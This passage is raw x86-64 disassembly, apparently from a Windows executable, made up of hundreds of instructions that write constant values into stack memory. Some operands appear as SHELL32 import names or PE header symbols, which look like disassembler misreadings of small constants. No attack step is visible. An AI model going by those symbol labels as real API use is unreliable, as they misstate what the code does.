mov dword [rsp + 0x99f8], 0x43e7
mov dword [rsp + 0x99fc], 0x6ced
mov byte [rsp + 0x2df], 0x21
mov dword [rsp + 0x9a00], 0x5e81
mov dword [rsp + 0x9a04], 0x1cb7
mov eax, 0x390
mov word [rsp + 0x231c], ax
mov dword [rsp + 0x9a08], 0x4470
mov byte [rsp + 0x2e0], 0x39
mov eax, 0xb8d
mov word [rsp + 0x2320], ax
mov dword [rsp + 0x9a0c], 0x65d2
mov dword [rsp + 0x9a10], 0x6f64
mov dword [rsp + 0x9a14], 0x39d1
mov dword [rsp + 0x9a18], 0x62bd
mov eax, 0x94e
mov word [rsp + 0x2324], ax
mov dword [rsp + 0x9a1c], 0x33d4
mov byte [rsp + 0x2e1], 0x92
mov dword [rsp + 0x9a20], 0xe3e2
mov byte [rsp + 0x2e2], 0x37
mov dword [rsp + 0x9a24], 0x25b5
mov eax, 0x2df
mov word [rsp + 0x2328], ax
mov eax, 0xd55
mov word [rsp + 0x232c], ax
mov dword [rsp + 0x9a28], 0x6159
mov dword [rsp + 0x9a2c], 0x7a30
mov eax, 0xc18
mov word [rsp + 0x2330], ax
mov dword [rsp + 0x9a30], 0x27e4
mov eax, 0x5c6
mov word [rsp + 0x2334], ax
mov dword [rsp + 0x9a34], 0x241b
mov dword [rsp + 0x9a38], 0x560a
mov byte [rsp + 0x2e3], 0xa
mov dword [rsp + 0x9a3c], 0x17fb
mov eax, 0xf5b
mov word [rsp + 0x2338], ax
mov dword [rsp + 0x9a40], 0x8c70
mov dword [rsp + 0x9a44], 0x1eb4
mov eax, 0x51a
mov word [rsp + 0x233c], ax
mov eax, 0xc1c
mov word [rsp + 0x2340], ax
mov byte [rsp + 0x2e4], 0x26
mov dword [rsp + 0x9a48], 0x552c
mov dword [rsp + 0x9a4c], 0x4474
mov eax, 0x5c3
mov word [rsp + 0x2344], ax
mov byte [rsp + 0x2e5], 0x91
mov byte [rsp + 0x2e6], 0xf4
mov eax, 0x619
mov word [rsp + 0x2348], ax
mov dword [rsp + 0x9a50], 0x35fe
mov dword [rsp + 0x9a54], 0x72b7
mov dword [rsp + 0x9a58], 0xe6fe
mov dword [rsp + 0x9a5c], 0x1093
mov dword [rsp + 0x9a60], 0x7c8b
mov dword [rsp + 0x9a64], 0x389f
mov dword [rsp + 0x9a68], 0x3280
mov dword [rsp + 0x9a6c], 0x583e
mov dword [rsp + 0x9a70], 0x80dd
mov byte [rsp + 0x2e7], 0x51
mov eax, 0xada
mov word [rsp + 0x234c], ax
mov dword [rsp + 0x9a74], 0x7eca
mov dword [rsp + 0x9a78], 0x6258
mov dword [rsp + 0x9a7c], 0x1bd6
mov eax, 0x34
mov word [rsp + 0x2350], ax
mov eax, 0x529
mov word [rsp + 0x2354], ax
mov dword [rsp + 0x9a80], 0x71eb
mov dword [rsp + 0x9a84], 0x64e
mov dword [rsp + 0x9a88], 0x7268
mov dword [rsp + 0x9a8c], 0x223e
mov dword [rsp + 0x9a90], 0x26b8
mov dword [rsp + 0x9a94], 0x7e50
mov dword [rsp + 0x9a98], 0x7f4e
mov dword [rsp + 0x9a9c], 0x1a19
mov eax, 0x276
mov word [rsp + 0x2358], ax
mov byte [rsp + 0x2e8], 0x2f
mov dword [rsp + 0x9aa0], 0x5313
mov byte [rsp + 0x2e9], 0x24
mov dword [rsp + 0x9aa4], 0x7200
mov dword [rsp + 0x9aa8], 0x490
mov dword [rsp + 0x9aac], 0xca6d
mov dword [rsp + 0x9ab0], 0x5e1c
mov dword [rsp + 0x9ab4], 0x3e50
mov dword [rsp + 0x9ab8], 0x7908
mov dword [rsp + 0x9abc], 0x44e4
mov dword [rsp + 0x9ac0], 0x167
mov dword [rsp + 0x9ac4], 0x888
mov dword [rsp + 0x9ac8], 0x4ab
mov dword [rsp + 0x9acc], 0x53d6
mov dword [rsp + 0x9ad0], 0xe024
mov eax, 0x4c9
mov word [rsp + 0x235c], ax
mov dword [rsp + 0x9ad4], 0x7b19
mov dword [rsp + 0x9ad8], 0x7f92
mov eax, 0x140
mov word [rsp + 0x2360], ax
mov eax, 0x333
mov word [rsp + 0x2364], ax
mov dword [rsp + 0x9adc], 0x6835
mov dword [rsp + 0x9ae0], 0xe01
mov dword [rsp + 0x9ae4], 0x2f90
mov dword [rsp + 0x9ae8], 0x959
mov dword [rsp + 0x9aec], 0x31f4
mov eax, 0xadf
mov word [rsp + 0x2368], ax
mov byte [rsp + 0x2ea], 0xa4
mov dword [rsp + 0x9af0], 0x20c0
mov dword [rsp + 0x9af4], 0xd56
mov dword [rsp + 0x9af8], 0x2830
mov dword [rsp + 0x9afc], 0x2ba4
mov byte [rsp + 0x2eb], 0xcf
mov dword [rsp + 0x9b00], 0x4d55
mov dword [rsp + 0x9b04], 0xf267
mov dword [rsp + 0x9b08], 0x1cd6
mov byte [rsp + 0x2ec], 0x24
mov dword [rsp + 0x9b0c], 0xd5c1
mov dword [rsp + 0x9b10], 0x39a3
mov byte [rsp + 0x2ed], 0xaf
mov dword [rsp + 0x9b14], 0xc493
mov byte [rsp + 0x2ee], 0x8e
mov dword [rsp + 0x9b18], 0x64e0
mov eax, 0x32e
mov word [rsp + 0x236c], ax
mov byte [rsp + 0x2ef], 0xf8
mov dword [rsp + 0x9b1c], 0x5881
mov dword [rsp + 0x9b20], 0xd7d7
mov dword [rsp + 0x9b24], 0x6999
mov eax, 0x13c
mov word [rsp + 0x2370], ax
mov dword [rsp + 0x9b28], 0x185b
mov dword [rsp + 0x9b2c], 0x75dd
mov dword [rsp + 0x9b30], 0x488f
mov byte [rsp + 0x2f0], 0x31
mov byte [rsp + 0x2f1], 0x69
mov eax, 0x53a
mov word [rsp + 0x2374], ax
mov dword [rsp + 0x9b34], 0x1ae1
mov eax, 0x21
mov word [rsp + 0x2378], ax
mov eax, 0x9e5
mov word [rsp + 0x237c], ax
mov dword [rsp + 0x9b38], 0x738e
mov eax, 0x87c
mov word [rsp + 0x2380], ax
mov dword [rsp + 0x9b3c], 0x496e
mov eax, 0xc4a
mov word [rsp + 0x2384], ax
mov dword [rsp + 0x9b40], 0x54d0
mov eax, 0x616
mov word [rsp + 0x2388], ax
mov dword [rsp + 0x9b44], 0x21b8
mov dword [rsp + 0x9b48], 0x1d97
mov eax, 0xdc7
mov word [rsp + 0x238c], ax
mov dword [rsp + 0x9b4c], 0x5eab
mov dword [rsp + 0x9b50], 0xa9db
mov dword [rsp + 0x9b54], 0xa0a
mov eax, 0x2f
mov word [rsp + 0x2390], ax
mov dword [rsp + 0x9b58], 0x95c
mov eax, 0x22
mov word [rsp + 0x2394], ax
mov dword [rsp + 0x9b5c], 0xcb7f
mov dword [rsp + 0x9b60], 0x4f06
mov dword [rsp + 0x9b64], 0x4bcf
mov dword [rsp + 0x9b68], 0x677
mov eax, 0x6b6
mov word [rsp + 0x2398], ax
mov eax, 0x54b
mov word [rsp + 0x239c], ax
mov eax, 0xae3
mov word [rsp + 0x23a0], ax
mov dword [rsp + 0x9b6c], 0x4965
mov dword [rsp + 0x9b70], 0x9133
mov dword [rsp + 0x9b74], 0xc297
mov dword [rsp + 0x9b78], 0x4495
mov dword [rsp + 0x9b7c], 0x880
mov dword [rsp + 0x9b80], 0x1208
mov eax, 0x411
mov word [rsp + 0x23a4], ax
mov dword [rsp + 0x9b84], 0xb97
mov dword [rsp + 0x9b88], 0xa7f1
mov dword [rsp + 0x9b8c], 0x3700
mov dword [rsp + 0x9b90], 0x5413
mov dword [rsp + 0x9b94], 0x48be
mov eax, 0xd89
mov word [rsp + 0x23a8], ax
mov eax, 0xa3b
mov word [rsp + 0x23ac], ax
mov dword [rsp + 0x9b98], 0x36b7
mov dword [rsp + 0x9b9c], 0xb8fc
mov eax, 0x852
mov word [rsp + 0x23b0], ax
mov dword [rsp + 0x9ba0], 0xef84
mov byte [rsp + 0x2f2], 0x79
mov byte [rsp + 0x2f3], 0x9c
mov eax, 0x9cd
mov word [rsp + 0x23b4], ax
mov dword [rsp + 0x9ba4], 0x61e7
mov dword [rsp + 0x9ba8], 0x4232
mov dword [rsp + 0x9bac], 0x597b
mov eax, 0x1cf
mov word [rsp + 0x23b8], ax
mov dword [rsp + 0x9bb0], 0x7274
mov dword [rsp + 0x9bb4], 0x4a
mov dword [rsp + 0x9bb8], 0x2982
mov dword [rsp + 0x9bbc], 0x602b
mov eax, 0x974
mov word [rsp + 0x23bc], ax
mov eax, 0x5e2
mov word [rsp + 0x23c0], ax
mov dword [rsp + 0x9bc0], 0xa35c
mov byte [rsp + 0x2f4], 0x4d
mov dword [rsp + 0x9bc4], 0x17e1
mov dword [rsp + 0x9bc8], 0xfc01
mov dword [rsp + 0x9bcc], 0x3138
mov dword [rsp + 0x9bd0], 0x61b1
mov byte [rsp + 0x2f5], 0x8f
mov dword [rsp + 0x9bd4], 0xfe09
mov dword [rsp + 0x9bd8], 0x7746
mov byte [rsp + 0x2f6], 0x46
mov eax, 0xdfe
mov word [rsp + 0x23c4], ax
mov eax, 0x13b
mov word [rsp + 0x23c8], ax
mov eax, 0xe4c
mov word [rsp + 0x23cc], ax
mov dword [rsp + 0x9bdc], 0x481d
mov dword [rsp + 0x9be0], 0x7f66
mov eax, 0x46f
mov word [rsp + 0x23d0], ax
mov dword [rsp + 0x9be4], 0x3a03
mov eax, 0x7de
mov word [rsp + 0x23d4], ax
mov dword [rsp + 0x9be8], 0xbc56
mov dword [rsp + 0x9bec], 0x184a
mov byte [rsp + 0x2f7], 0x8c
mov dword [rsp + 0x9bf0], 0x3790
mov dword [rsp + 0x9bf4], 0x593e
mov dword [rsp + 0x9bf8], 0x614e
mov dword [rsp + 0x9bfc], 0x2e71
mov dword [rsp + 0x9c00], 0x402f
mov dword [rsp + 0x9c04], 0x8170
mov eax, 0xbab
mov word [rsp + 0x23d8], ax
mov dword [rsp + 0x9c08], 0x1cbc
mov dword [rsp + 0x9c0c], 0x6421
mov dword [rsp + 0x9c10], 0xf
mov dword [rsp + 0x9c14], 0xb091
mov dword [rsp + 0x9c18], 0x34cb
mov byte [rsp + 0x2f8], 0x59
mov dword [rsp + 0x9c1c], 0x1a5d
mov dword [rsp + 0x9c20], 0xca86
mov byte [rsp + 0x2f9], 0xd9
mov dword [rsp + 0x9c24], 0x2a8a
mov eax, 0x4db
mov word [rsp + 0x23dc], ax
mov dword [rsp + 0x9c28], 0x12c
mov dword [rsp + 0x9c2c], 0x675a
mov dword [rsp + 0x9c30], 0xe693
mov dword [rsp + 0x9c34], 0x6fe3
mov dword [rsp + 0x9c38], 0x7026
mov dword [rsp + 0x9c3c], 0x14f4
mov dword [rsp + 0x9c40], 0x6732
mov byte [rsp + 0x2fa], 0x6d
mov dword [rsp + 0x9c44], 0xa73
mov dword [rsp + 0x9c48], 0x2cd8
mov dword [rsp + 0x9c4c], 0x1c15
mov eax, 0x98a
mov word [rsp + 0x23e0], ax
mov eax, 0x5aa
mov word [rsp + 0x23e4], ax
mov dword [rsp + 0x9c50], 0x251f
mov dword [rsp + 0x9c54], 0xe6bd
mov dword [rsp + 0x9c58], 0x3717
mov eax, 0xc6a
mov word [rsp + 0x23e8], ax
mov dword [rsp + 0x9c5c], 0x6716
mov dword [rsp + 0x9c60], 0x2ec4
mov dword [rsp + 0x9c64], 0x4189
mov dword [rsp + 0x9c68], 0x2b73
mov dword [rsp + 0x9c6c], 0x3f42
mov byte [rsp + 0x2fb], 0x8c
mov dword [rsp + 0x9c70], 0x5b7
mov dword [rsp + 0x9c74], 0x6c60
mov byte [rsp + 0x2fc], 0x24
mov dword [rsp + 0x9c78], 0x5100
mov eax, 0xd90
mov word [rsp + 0x23ec], ax
mov dword [rsp + 0x9c7c], 0x5242
mov dword [rsp + 0x9c80], 0xe716
mov byte [rsp + 0x2fd], 0x77
mov byte [rsp + 0x2fe], 0xba
mov byte [rsp + 0x2ff], 0x36
mov byte [rsp + 0x300], 0x33
mov dword [rsp + 0x9c84], 0x31a6
mov eax, 0x9a2
mov word [rsp + 0x23f0], ax
mov byte [rsp + 0x301], ILFindChild
mov eax, 0xd0a
mov word [rsp + 0x23f4], ax
mov dword [rsp + 0x9c88], 0x2e07
mov eax, 0xcc4
mov word [rsp + 0x23f8], ax
mov eax, 0xded
mov word [rsp + 0x23fc], ax
mov eax, 0x3bb
mov word [rsp + 0x2400], ax
mov dword [rsp + 0x9c8c], 0x50e6
mov byte [rsp + 0x302], 0x2a
mov byte [rsp + 0x303], 0x64
mov dword [rsp + 0x9c90], 0x5080
mov dword [rsp + 0x9c94], 0x2683
mov eax, 0x8ac
mov word [rsp + 0x2404], ax
mov dword [rsp + 0x9c98], 0x4aa8
mov dword [rsp + 0x9c9c], 0x52f7
mov byte [rsp + 0x304], 0x2e
mov dword [rsp + 0x9ca0], 0x7fb
mov byte [rsp + 0x305], 0x82
mov byte [rsp + 0x306], reloc.SHELL32.dll_ILFindChild
mov dword [rsp + 0x9ca4], 0x3639
mov eax, 0xe5
mov word [rsp + 0x2408], ax
mov dword [rsp + 0x9ca8], 0x314a
mov dword [rsp + 0x9cac], 0x1360
mov eax, 0xd87
mov word [rsp + 0x240c], ax
mov dword [rsp + 0x9cb0], 0x12b4
mov byte [rsp + 0x307], 0x2e
mov dword [rsp + 0x9cb4], 0x3de4
mov eax, 0xe18
mov word [rsp + 0x2410], ax
mov eax, 0xd2
mov word [rsp + 0x2414], ax
mov dword [rsp + 0x9cb8], 0x35ec
mov eax, 0x4fe
mov word [rsp + 0x2418], ax
mov dword [rsp + 0x9cbc], 0x110a
mov dword [rsp + 0x9cc0], 0x193c
mov eax, 0x666
mov word [rsp + 0x241c], ax
mov eax, 0xffe
mov word [rsp + 0x2420], ax
mov dword [rsp + 0x9cc4], 0x242c
mov dword [rsp + 0x9cc8], 0x770
mov dword [rsp + 0x9ccc], 0x33f4
mov byte [rsp + 0x308], 0xc7
mov dword [rsp + 0x9cd0], 0x1bd7
mov dword [rsp + 0x9cd4], 0x5a07
mov dword [rsp + 0x9cd8], 0x517
mov dword [rsp + 0x9cdc], 0x7f01
mov byte [rsp + 0x309], 0x3d
mov eax, 0xa3b
mov word [rsp + 0x2424], ax
mov dword [rsp + 0x9ce0], 0xe4d0
mov byte [rsp + 0x30a], 0x49
mov dword [rsp + 0x9ce4], 0x3d6a
mov dword [rsp + 0x9ce8], 0x709c
mov dword [rsp + 0x9cec], 0x32f2
mov dword [rsp + 0x9cf0], 0x23ef
mov dword [rsp + 0x9cf4], 0x239d
mov dword [rsp + 0x9cf8], 0x79c8
mov eax, 0x216
mov word [rsp + 0x2428], ax
mov dword [rsp + 0x9cfc], 0x8ee3
mov byte [rsp + 0x30b], 0xf6
mov dword [rsp + 0x9d00], 0x82e
mov dword [rsp + 0x9d04], 0x2867
mov dword [rsp + 0x9d08], 0xc7b1
mov dword [rsp + 0x9d0c], 0x9f48
mov dword [rsp + 0x9d10], 0x365d
mov dword [rsp + 0x9d14], 0x8438
mov dword [rsp + 0x9d18], 0x68d1
mov eax, 0x5e9
mov word [rsp + 0x242c], ax
mov eax, 0x1f3
mov word [rsp + 0x2430], ax
mov dword [rsp + 0x9d1c], 0x4ee7
mov dword [rsp + 0x9d20], 0x4c45
mov dword [rsp + 0x9d24], 0x4632
mov dword [rsp + 0x9d28], 0x9aa0
mov byte [rsp + 0x30c], 0x4d
mov eax, 0x529
mov word [rsp + 0x2434], ax
mov byte [rsp + 0x30d], 0x38
mov eax, 0x1af
mov word [rsp + 0x2438], ax
mov dword [rsp + 0x9d2c], 0x326f
mov eax, 0x41e
mov word [rsp + 0x243c], ax
mov eax, 0x470
mov word [rsp + 0x2440], ax
mov dword [rsp + 0x9d30], 0x73c4
mov byte [rsp + 0x30e], 0x2f
mov dword [rsp + 0x9d34], 0x52b0
mov dword [rsp + 0x9d38], 0x7b4a
mov dword [rsp + 0x9d3c], 0x258c
mov byte [rsp + 0x30f], reloc.SHELL32.dll_ILFindChild
mov eax, 0x44c
mov word [rsp + 0x2444], ax
mov byte [rsp + 0x310], 0xd6
mov eax, 0x1ee
mov word [rsp + 0x2448], ax
mov dword [rsp + 0x9d40], 0x921
mov byte [rsp + 0x311], 0x64
mov dword [rsp + 0x9d44], 0x6ab2
mov eax, pe_nt_image_headers64
mov word [rsp + 0x244c], ax
mov dword [rsp + 0x9d48], 0x1aa0
mov dword [rsp + 0x9d4c], 0x7dc9
mov dword [rsp + 0x9d50], 0x4b89
mov eax, 0xf61
mov word [rsp + 0x2450], ax
mov byte [rsp + 0x312], 0x51
mov dword [rsp + 0x9d54], 0xc761
mov byte [rsp + 0x313], reloc.SHELL32.dll_ILIsParent
mov dword [rsp + 0x9d58], 0x178
mov eax, 0xac
mov word [rsp + 0x2454], ax
mov byte [rsp + 0x314], 0x65
mov dword [rsp + 0x9d5c], 0x3ddd
mov eax, 0x429
mov word [rsp + 0x2458], ax
mov dword [rsp + 0x9d60], 0x2ee
mov dword [rsp + 0x9d64], 0x9140
mov dword [rsp + 0x9d68], 0xea03
mov eax, 0x790
mov word [rsp + 0x245c], ax
mov dword [rsp + 0x9d6c], 0x1825
mov eax, 0xe56
mov word [rsp + 0x2460], ax
mov eax, 0x642
mov word [rsp + 0x2464], ax
mov dword [rsp + 0x9d70], 0x3fc
mov dword [rsp + 0x9d74], 0x322c
mov dword [rsp + 0x9d78], 0xa87
mov dword [rsp + 0x9d7c], 0xda
mov byte [rsp + 0x315], 0xaa
mov byte [rsp + 0x316], 0xc6
mov dword [rsp + 0x9d80], 0x62d3
mov dword [rsp + 0x9d84], 0x2cd8
mov dword [rsp + 0x9d88], 0x6cf9
mov dword [rsp + 0x9d8c], 0x152
mov dword [rsp + 0x9d90], 0x3b7a
mov byte [rsp + 0x317], 0x58
mov dword [rsp + 0x9d94], 0x5f07
mov dword [rsp + 0x9d98], 0x320a
mov eax, 0x7a4
mov word [rsp + 0x2468], ax
mov byte [rsp + 0x318], 0x79
mov dword [rsp + 0x9d9c], 0x6c79
mov byte [rsp + 0x319], 5
mov eax, 0x7c7
mov word [rsp + 0x246c], ax
mov eax, 0xae2
mov word [rsp + 0x2470], ax
mov dword [rsp + 0x9da0], 0x38d8
mov byte [rsp + 0x31a], 0x72
mov byte [rsp + 0x31b], 0x59
mov dword [rsp + 0x9da4], 0xf24e
mov dword [rsp + 0x9da8], 0x699f
mov eax, 0x63f
mov word [rsp + 0x2474], ax
mov eax, 0x8db
mov word [rsp + 0x2478], ax
mov dword [rsp + 0x9dac], 0x63b9
mov eax, 0x843
mov word [rsp + 0x247c], ax
mov dword [rsp + 0x9db0], 0x5ec1
mov dword [rsp + 0x9db4], 0x42c8
mov dword [rsp + 0x9db8], 0x625f
mov byte [rsp + 0x31c], 0xe5
mov eax, 0xe0a
mov word [rsp + 0x2480], ax
mov eax, 0x394
mov word [rsp + 0x2484], ax
mov byte [rsp + 0x31d], 0x7d
mov dword [rsp + 0x9dbc], 0x51f
mov dword [rsp + 0x9dc0], 0x5d11
mov eax, 0xd87
mov word [rsp + 0x2488], ax
mov eax, 0xbad
mov word [rsp + 0x248c], ax
mov byte [rsp + 0x31e], 0x46
mov dword [rsp + 0x9dc4], 0x15e
mov eax, 0x41f
mov word [rsp + 0x2490], ax
mov dword [rsp + 0x9dc8], 0x6a36
mov dword [rsp + 0x9dcc], 0xe4dd
mov dword [rsp + 0x9dd0], 0x34cd
mov byte [rsp + 0x31f], 0x8d
mov dword [rsp + 0x9dd4], 0x2bce
mov dword [rsp + 0x9dd8], 0x2365
mov byte [rsp + 0x320], 0x29
mov eax, 0x8c
mov word [rsp + 0x2494], ax
mov byte [rsp + 0x321], 0x35
mov dword [rsp + 0x9ddc], 0x65b7
mov dword [rsp + 0x9de0], 0x594d
mov dword [rsp + 0x9de4], 0x2e8b
mov eax, 0x770
mov word [rsp + 0x2498], ax
mov eax, 0x4fb
mov word [rsp + 0x249c], ax
mov dword [rsp + 0x9de8], 0x3b1f
mov eax, 0x35d
mov word [rsp + 0x24a0], ax
mov dword [rsp + 0x9dec], 0xda2c
mov eax, 0x17f
mov word [rsp + 0x24a4], ax
mov dword [rsp + 0x9df0], 0xf7c
mov dword [rsp + 0x9df4], 0xa143
mov dword [rsp + 0x9df8], 0xc9f6
mov dword [rsp + 0x9dfc], 0x647
mov dword [rsp + 0x9e00], 0x9e8
mov dword [rsp + 0x9e04], 0x6bc4
mov dword [rsp + 0x9e08], 0xc91
mov dword [rsp + 0x9e0c], 0x3c99
mov dword [rsp + 0x9e10], 0xc2f5
mov byte [rsp + 0x322], 0x70
mov eax, 0x41d
mov word [rsp + 0x24a8], ax
mov dword [rsp + 0x9e14], 0x27e9
mov dword [rsp + 0x9e18], 0x242f
mov byte [rsp + 0x323], 0x49
mov eax, 0x696
mov word [rsp + 0x24ac], ax
mov byte [rsp + 0x324], 0xdc
mov eax, 0xea3
mov word [rsp + 0x24b0], ax
mov dword [rsp + 0x9e1c], 0x106e
mov dword [rsp + 0x9e20], 0x220e
mov eax, 0x957
mov word [rsp + 0x24b4], ax
mov dword [rsp + 0x9e24], 0xa55d
mov byte [rsp + 0x325], 0x4b
mov dword [rsp + 0x9e28], 0xffe2
mov dword [rsp + 0x9e2c], 0x20c1
mov dword [rsp + 0x9e30], 0xe393
mov dword [rsp + 0x9e34], 0x1fa
mov byte [rsp + 0x326], ILSaveToStream
mov eax, 0x57f
mov word [rsp + 0x24b8], ax
mov dword [rsp + 0x9e38], 0x5680
mov byte [rsp + 0x327], 0x4c
mov byte [rsp + 0x328], 0xb
mov dword [rsp + 0x9e3c], 0x651d
mov dword [rsp + 0x9e40], 0xa7fa
mov eax, 0x3f1
mov word [rsp + 0x24bc], ax
mov eax, 0x4e1
mov word [rsp + 0x24c0], ax
mov dword [rsp + 0x9e44], 0x9510
mov dword [rsp + 0x9e48], 0x4208
mov dword [rsp + 0x9e4c], 0x7b74
mov dword [rsp + 0x9e50], 0x3e9d
mov dword [rsp + 0x9e54], 0xd17
mov eax, 0x1f9
mov word [rsp + 0x24c4], ax
mov dword [rsp + 0x9e58], 0xda76
mov dword [rsp + 0x9e5c], 0x5bc2
mov eax, 0x5a
mov word [rsp + 0x24c8], ax
mov dword [rsp + 0x9e60], 0x3a2b
mov dword [rsp + 0x9e64], 0x42bb
mov dword [rsp + 0x9e68], 0x4fa1
mov dword [rsp + 0x9e6c], 0x566a
mov dword [rsp + 0x9e70], 0x5fe2
mov dword [rsp + 0x9e74], 0xc54e
mov dword [rsp + 0x9e78], 0x3a13
mov dword [rsp + 0x9e7c], 0x4f78
mov dword [rsp + 0x9e80], 0x1abd
mov eax, 0x688
mov word [rsp + 0x24cc], ax
mov dword [rsp + 0x9e84], 0x43c5
mov dword [rsp + 0x9e88], 0x5af5
mov byte [rsp + 0x329], reloc.SHELL32.dll_ILFindChild
mov byte [rsp + 0x32a], 2
mov eax, 0xb9a
mov word [rsp + 0x24d0], ax
mov eax, 0x5cb
mov word [rsp + 0x24d4], ax
mov dword [rsp + 0x9e8c], 0x5d6d
mov byte [rsp + 0x32b], 0x9c
mov byte [rsp + 0x32c], 0xdb
mov dword [rsp + 0x9e90], 0x52d8
mov dword [rsp + 0x9e94], 0x4718
mov byte [rsp + 0x32d], 0x63
mov dword [rsp + 0x9e98], 0x18f8
mov dword [rsp + 0x9e9c], 0x7f2a
mov dword [rsp + 0x9ea0], 0x4348
mov dword [rsp + 0x9ea4], 0xea85
mov dword [rsp + 0x9ea8], 0xae07
mov dword [rsp + 0x9eac], 0x41f7
mov byte [rsp + 0x32e], 0x4e
mov dword [rsp + 0x9eb0], 0x1861
mov dword [rsp + 0x9eb4], 0x7d49
mov dword [rsp + 0x9eb8], 0x9ff6
mov eax, 0x635
mov word [rsp + 0x24d8], ax
mov dword [rsp + 0x9ebc], 0x5193
mov dword [rsp + 0x9ec0], 0x4a55
mov dword [rsp + 0x9ec4], 0x239b
mov byte [rsp + 0x32f], 0x7d
mov byte [rsp + 0x330], 0xc9
mov dword [rsp + 0x9ec8], 0xffbf
mov dword [rsp + 0x9ecc], 0xbed9
mov dword [rsp + 0x9ed0], 0x5d65
mov eax, 0x5ab
mov word [rsp + 0x24dc], ax
mov dword [rsp + 0x9ed4], 0x7dc0
mov byte [rsp + 0x331], 0x3b
mov dword [rsp + 0x9ed8], 0x5775
mov dword [rsp + 0x9edc], 0x6f6c
mov byte [rsp + 0x332], 0xe3
mov byte [rsp + 0x333], 0x6d
mov dword [rsp + 0x9ee0], 0x3c50
mov dword [rsp + 0x9ee4], 0x7ed0
mov eax, 0x6fc
mov word [rsp + 0x24e0], ax
mov dword [rsp + 0x9ee8], 0x4e11
mov dword [rsp + 0x9eec], 0x61ec
mov dword [rsp + 0x9ef0], 0x5e8c
mov eax, 0x99e
mov word [rsp + 0x24e4], ax
mov dword [rsp + 0x9ef4], 0xa134
mov eax, 0x1e4
mov word [rsp + 0x24e8], ax
mov eax, 0x7c3
mov word [rsp + 0x24ec], ax
mov eax, 0x154
mov word [rsp + 0x24f0], ax
mov dword [rsp + 0x9ef8], 0x81b3
mov eax, 0x608
mov word [rsp + 0x24f4], ax
mov byte [rsp + 0x334], 0x7e
mov byte [rsp + 0x335], 0x38
mov eax, 0x7a9
mov word [rsp + 0x24f8], ax
mov dword [rsp + 0x9efc], 0x456c
mov eax, 0x2f7
mov word [rsp + 0x24fc], ax
mov eax, 0x4e1
mov word [rsp + 0x2500], ax
mov eax, 0xdd3
mov word [rsp + 0x2504], ax
mov dword [rsp + 0x9f00], 0x51f7
mov dword [rsp + 0x9f04], 0x232f
mov eax, 0x585
mov word [rsp + 0x2508], ax
mov byte [rsp + 0x336], 0xfc
mov dword [rsp + 0x9f08], 0x245b
mov byte [rsp + 0x337], ILFindChild
mov eax, 0xc3
mov word [rsp + 0x250c], ax
mov byte [rsp + 0x338], 0xc9
mov dword [rsp + 0x9f0c], 0x76e7
mov dword [rsp + 0x9f10], 0x294c
mov dword [rsp + 0x9f14], 0x4b6e
mov dword [rsp + 0x9f18], 0x5f1b
mov dword [rsp + 0x9f1c], 0x2a92
mov dword [rsp + 0x9f20], 0x59c3
mov eax, 0x395
mov word [rsp + 0x2510], ax
mov byte [rsp + 0x339], 0x7e
mov dword [rsp + 0x9f24], 0x3585
mov eax, 0x31c
mov word [rsp + 0x2514], ax
mov byte [rsp + 0x33a], 0x36
mov byte [rsp + 0x33b], 0xc
mov eax, 0x303
mov word [rsp + 0x2518], ax
mov dword [rsp + 0x9f28], 0x4ffa
mov eax, 0x93b
mov word [rsp + 0x251c], ax
mov dword [rsp + 0x9f2c], 0x59ac
mov dword [rsp + 0x9f30], 0x4c07
mov byte [rsp + 0x33c], 0x49
mov eax, 0x792
mov word [rsp + 0x2520], ax
mov dword [rsp + 0x9f34], 0x3c42
mov dword [rsp + 0x9f38], 0x923f
mov dword [rsp + 0x9f3c], 0x6973
mov dword [rsp + 0x9f40], 0x5048
mov dword [rsp + 0x9f44], 0x30cc
mov eax, 0xa69
mov word [rsp + 0x2524], ax
mov eax, 0x3c0
mov word [rsp + 0x2528], ax
mov byte [rsp + 0x33d], 0x43
mov eax, 0x6ea
mov word [rsp + 0x252c], ax
mov dword [rsp + 0x9f48], 0x9203
mov eax, 0x95c
mov word [rsp + 0x2530], ax
mov eax, 0xf6c
mov word [rsp + 0x2534], ax
mov eax, 0x6ab
mov word [rsp + 0x2538], ax
mov dword [rsp + 0x9f4c], 0x49dd
mov dword [rsp + 0x9f50], 0x2f54
mov dword [rsp + 0x9f54], 0x5135
mov dword [rsp + 0x9f58], 0x4405
mov dword [rsp + 0x9f5c], 0x2a2c
mov dword [rsp + 0x9f60], 0xfbaf
mov byte [rsp + 0x33e], 0x62
mov byte [rsp + 0x33f], 0xa9
mov dword [rsp + 0x9f64], 0x11de
mov eax, 0xec
mov word [rsp + 0x253c], ax
mov byte [rsp + 0x340], 0x3b
mov dword [rsp + 0x9f68], 0x586e
mov eax, 0x96b
mov word [rsp + 0x2540], ax
mov dword [rsp + 0x9f6c], 0x630a
mov dword [rsp + 0x9f70], 0x7df
mov eax, 0x601
mov word [rsp + 0x2544], ax
mov byte [rsp + 0x341], 0x62
mov eax, 0xcd0
mov word [rsp + 0x2548], ax
mov eax, 0x718
mov word [rsp + 0x254c], ax
mov dword [rsp + 0x9f74], 0x1d33
mov byte [rsp + 0x342], reloc.SHELL32.dll_ILSaveToStream
mov eax, 0x66c
mov word [rsp + 0x2550], ax
mov dword [rsp + 0x9f78], 0x3526
mov dword [rsp + 0x9f7c], 0x7690
mov eax, 0x90
mov word [rsp + 0x2554], ax
mov eax, 0xa46
mov word [rsp + 0x2558], ax
mov eax, 0x4df
mov word [rsp + 0x255c], ax
mov byte [rsp + 0x343], 0x51
mov byte [rsp + 0x344], 0xc7
mov dword [rsp + 0x9f80], 0x75a0
mov dword [rsp + 0x9f84], 0x95ec
mov dword [rsp + 0x9f88], 0x1058
mov dword [rsp + 0x9f8c], 0x74d6
mov dword [rsp + 0x9f90], 0xddb
mov dword [rsp + 0x9f94], 0x5055
mov dword [rsp + 0x9f98], 0x8c32
mov dword [rsp + 0x9f9c], 0x7491
mov dword [rsp + 0x9fa0], 0x78a0
mov byte [rsp + 0x345], 0x62
mov eax, 0x73f
mov word [rsp + 0x2560], ax
mov eax, 0x580
mov word [rsp + 0x2564], ax
mov eax, 0xf2b
mov word [rsp + 0x2568], ax
mov eax, 0x417
mov word [rsp + 0x256c], ax
mov dword [rsp + 0x9fa4], 0xae7e
mov byte [rsp + 0x346], 0x5b
mov dword [rsp + 0x9fa8], 0x75b6
mov eax, 0x687
mov word [rsp + 0x2570], ax
mov eax, 0x561
mov word [rsp + 0x2574], ax
mov eax, 0x347
mov word [rsp + 0x2578], ax
mov dword [rsp + 0x9fac], 0xe13
mov dword [rsp + 0x9fb0], 0x658c
